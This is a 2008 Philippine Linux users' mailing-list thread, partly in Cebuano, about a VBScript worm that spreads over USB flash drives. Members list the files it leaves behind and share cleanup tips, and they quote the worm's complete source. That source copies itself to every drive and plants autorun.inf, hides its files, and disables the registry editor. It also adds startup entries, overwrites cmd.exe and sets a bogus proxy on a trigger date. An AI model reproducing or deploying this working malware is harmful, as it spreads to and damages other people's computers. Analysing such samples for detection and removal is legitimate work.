The "scandal variant" of this script also generates [PEGASUS].TXT
on some systems which contains "BLACK PEGASUS" Hacking Team from
Agusan del Sur. And also mentions that he/she/they come from STI in
Agusan.
That just confirms how prevalent this script is and is being
exchanged in the underground too frequently.
On Feb 12, 2008 10:47 PM, Camilo III Lozano <[EMAIL PROTECTED]>
wrote:
sa ako nabaw-an.. taga Quezon, Manila gahimo sa TTMS...
which is arch is right.. ang original kay...
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Window Title", "I AM NOT A CORRUPT LIKE YOU"
hmmm... naa pod Funny UST scandal thingy ani... daghan man... mao
mani uso karon... scripts na pangsinamok lang sa computer, pakamang
sa computer na di ma detect sa anti-virus... mostly kay VB....
list ani nila sa akong na encounter sa XU internet lab kay...
autorun.*
TTM*.*
Desktop.*
imgkulot*.*
RECYCLER\INFO.exe
RECYCLER\RECYCLER.exe
RECYCLER\Desktop.ini
sysdll.exe
krag.exe
RavMon*.*
msv*.dll
scvhosts.exe
scvhost.exe
svhost.exe
C:\Windows\svhost.exe
C:\Windows\svhost32.exe
"New Folder".exe
"Funny UST Scandal.avi.exe"
smss.exe
jay.exe
transmit.exe
isetup.exe
most sila ga kalat kay sa flashdisk... naka hidden files, system
files and read-only files....
then time to time.. ga usab ila name.. then ga improve ila pag
kamang... last worst encounter nako kay even imo na gi safe mode,
nag dagan gihapon sya... balig naka system na sya... even imo na gi
delete sa regedit kay naa gihapon sya... msconfig, naa gihapon. ang
last nako gibuhat kay gi delete nako ang mga RECYCLER sa tanan
drive nako.. kay didto man sila diay gatago.. hehehehehe... so
solve na dayun.. :)
amen...
===================================
On 2/12/08, Ron Michael Khu <[EMAIL PROTECTED]> wrote:
Obviously this is offtopic, since the guy's script can only
run in an OS which supports regedit.exe, wscript.exe and the
other MS-apps.
Choi gihapon ni iyang gibuhat... mo traverse sa tanan flashdrives
and then copy itself to them :D
pretty harmless compared to the other naught scripts but nonetheless
still annoying :D
"DOHHGS Ni TAGA CDOC"
Who wants to claim ownership for this script?
:D
any takers?
----------------------------------------------------------------------
-----------------
'THIS IS A MODIFIED VERSION BY: TTMS
'PROUD TO BE FILIPINO, NOT TO CORRUPTION!
On Error Resume Next
Dim mydate, myvbsalias, myvbsfile, mysource, winpath, winsyspath,
flashdrive, fs, mycmdfile, cmd, atr, tf, rg, nt, check, sd
mycmdfile = "cmd.exe"
mydate = month(now()) & day(now())
myvbsalias = "TTMS" & mydate
myvbsfile = myvbsalias & ".dll.vbs"
atr = "[autorun]" & vbCrLf & _
"shellexecute=wscript.exe " & myvbsfile
Set fs = CreateObject("Scripting.FileSystemObject")
Dim mf, text, size
Set mf = fs.GetFile(WScript.ScriptFullname)
size = mf.size
check = mf.Drive.drivetype
Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream
mysource = mysource & text.readline
mysource = mysource & vbCrLf
Loop
Do
Set winpath = fs.GetSpecialFolder(0)
Set tf = fs.GetFile(winpath & "\" & myvbsfile)
tf.Attributes = 32
Set tf = fs.CreateTextFile(winpath & "\" & myvbsfile, 2, True)
tf.Write mysource
tf.Close
Set tf = fs.GetFile(winpath & "\" & myvbsfile)
tf.Attributes = 39
If (mydate = "318") Then
Set winsyspath = fs.GetSpecialFolder(1)
cmd = "@echo off" & vbCrLf & _
"wscript " & winpath & "\" & myvbsfile
Set tf = fs.GetFile(winsyspath & "\" & mycmdfile)
tf.Attributes = 32
Set tf = fs.CreateTextFile(winsyspath & "\" & mycmdfile, 2)
tf.Write cmd
tf.Close
rg.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\ProxyEnable", 1, "REG_DWORD"
rg.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\ProxyServer", "0.0.0.0:80"
rg.RegWrite
"HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer
\Control
Panel\Connection Settings\Connwiz Admin Lock", 1, "REG_DWORD"
End If
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And
flashdrive.Path <> "A:" Then
Set tf = fs.GetFile(flashdrive.Path & "\" & myvbsfile)
tf.Attributes = 32
Set tf = fs.CreateTextFile(flashdrive.Path & "\" & myvbsfile,
2, True)
tf.Write mysource
tf.Close
Set tf = fs.GetFile(flashdrive.Path & "\" & myvbsfile)
tf.Attributes = 39
Set tf = fs.GetFile(flashdrive.Path & "\autorun.inf")
tf.Attributes = 32
Set tf = fs.CreateTextFile(flashdrive.Path &
"\autorun.inf", 2,
True)
tf.Write atr
tf.Close
Set tf = fs.GetFile(flashdrive.Path & "\autorun.inf")
tf.Attributes = 39
End If
Next
Set rg = CreateObject("WScript.Shell")
rg.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Policies\System\DisableRegistryTools",
1, "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Window Title", "DOHHGS Ni TAGA CDOC WARNING GUBA NA
IMO PC"
rg.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServices\MSConfig",
winpath & "\" & myvbsfile
rg.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\MSConfig",
winpath & "\" & myvbsfile
If check <> 1 Then
WScript.sleep 200000
End If
Loop While (check <> 1)
Set sd = CreateObject("WScript.Shell")
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname
_________________________________________________
Kagay-Anon Linux Users' Group (KLUG) Mailing List
[email protected] (http://cdo.linux.org.ph)
Searchable Archives: http://archives.free.net.ph
--
--------------------
http://www.metacatalyst.com
http://www.metacatalyst.org
http://www.zabyer.org
Got my Own Hacker Key:
v3sw3BHhw5ln2pr5OFPck3ma2u4MLw5XVm+5l5UCi5Ne4t3b5en5g5RaIs5MSr3p2
http://www.hackerkey.com
Registered Linux User: #439468
_________________________________________________
Kagay-Anon Linux Users' Group (KLUG) Mailing List
[email protected] (http://cdo.linux.org.ph)
Searchable Archives: http://archives.free.net.ph
--
"A dog that has no bite, barks loudest."
Registered Linux User #400165
http://baudizm.blogsome.com
http://www.bayanihanbooks.com
Full-Disclosure,LARTC,Open-ITLUG, PRUG, KLUG, linuxusersgroup,
sybase.public.ase.linux
_________________________________________________
Kagay-Anon Linux Users' Group (KLUG) Mailing List
[email protected] (http://cdo.linux.org.ph)
Searchable Archives: http://archives.free.net.ph
